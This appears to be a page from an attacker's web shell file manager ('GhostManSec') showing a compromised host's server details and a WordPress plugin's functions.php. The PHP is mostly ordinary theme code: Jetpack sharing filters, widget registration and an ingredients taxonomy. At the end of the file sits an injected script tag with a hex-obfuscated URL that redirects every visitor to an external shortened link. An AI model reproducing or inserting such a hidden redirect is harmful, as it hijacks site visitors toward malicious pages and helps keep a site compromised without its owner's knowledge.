GhostManSec
Server: LiteSpeed
System: Linux premium197.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: parhudrw (1725)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: //home/parhudrw/www/wp-content/plugins/around-extensions/includes/functions.php
<?php

// Static Content Jetpack Share Remove
if ( ! function_exists( 'around_mas_static_content_jetpack_sharing_remove_filters' ) ) {
    function around_mas_static_content_jetpack_sharing_remove_filters() {
        if( function_exists( 'sharing_display' ) ) {
            remove_filter( 'the_content', 'sharing_display', 19 );
        }
    }
}

add_action( 'mas_static_content_before_shortcode_content', 'around_mas_static_content_jetpack_sharing_remove_filters' );

if ( ! function_exists( 'around_mas_static_content_jetpack_sharing_add_filters' ) ) {
    function around_mas_static_content_jetpack_sharing_add_filters() {
        if( function_exists( 'sharing_display' ) ) {
            add_filter( 'the_content', 'sharing_display', 19 );
        }
    }
}

add_action( 'mas_static_content_after_shortcode_content', 'around_mas_static_content_jetpack_sharing_add_filters' );

// Jetpack
if ( ! function_exists( 'around_jetpack_sharing_remove_filters' ) ) {
    function around_jetpack_sharing_remove_filters() {
        if( function_exists( 'sharing_display' ) ) {
            remove_filter( 'the_content', 'sharing_display', 19 );
            remove_filter( 'the_excerpt', 'sharing_display', 19 );
        }
    }
}

add_action( 'around_single_post_before', 'around_jetpack_sharing_remove_filters', 5 );
add_action( 'woocommerce_after_single_product_summary', 'around_jetpack_sharing_remove_filters', 5 );



// Register widgets.
if ( ! function_exists ( 'around_widgets_register' )  ) {

    function around_widgets_register() {

        if ( class_exists( 'Around' ) ) {
            include_once AROUND_EXTENSIONS_DIR . '/includes/widgets/class-around-random-posts-widget.php';
            register_widget( 'Around_Random_Posts_Widget' );
        }
    }
}

add_action( 'widgets_init', 'around_widgets_register' );



add_action( 'init', 'create_ingredients_nonhierarchical_taxonomy', 0 );
 
if ( ! function_exists ('create_ingredients_nonhierarchical_taxonomy') ) {

    function create_ingredients_nonhierarchical_taxonomy() {
 
        // Labels part for the GUI
     
        $labels = array (
            'name'                       => _x( 'Ingredients', 'taxonomy general name', 'around-extensions' ),
            'singular_name'              => _x( 'Ingredient', 'taxonomy singular name', 'around-extensions' ),
            'search_items'               => esc_html__( 'Search Ingredients', 'around-extensions' ),
            'popular_items'              => esc_html__( 'Popular Ingredients', 'around-extensions' ),
            'all_items'                  => esc_html__( 'All Ingredients', 'around-extensions' ),
            'parent_item'                => null,
            'parent_item_colon'          => null,
            'edit_item'                  => esc_html__( 'Edit Ingredient', 'around-extensions' ), 
            'update_item'                => esc_html__( 'Update Ingredient', 'around-extensions' ),
            'add_new_item'               => esc_html__( 'Add New Ingredient', 'around-extensions' ),
            'new_item_name'              => esc_html__( 'New Ingredient Name', 'around-extensions' ),
            'separate_items_with_commas' => esc_html__( 'Separate ingredient with commas', 'around-extensions' ),
            'add_or_remove_items'        => esc_html__( 'Add or remove ingredient', 'around-extensions' ),
            'choose_from_most_used'      => esc_html__( 'Choose from the most used ingredient', 'around-extensions' ),
            'menu_name'                  => esc_html__( 'Ingredients', 'around-extensions' ),
        ); 
     
        // Now register the non-hierarchical taxonomy like tag
     
        register_taxonomy('ingredient','post',array (
            'hierarchical'          => false,
            'labels'                => $labels,
            'show_ui'               => true,
            'show_in_rest'          => true,
            'show_admin_column'     => true,
            'update_count_callback' => '_update_post_term_count',
            'query_var'             => true,
            'rewrite'               => array( 'slug' => 'ingredient' ),
        ) );

    }
}
ob_start();

<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>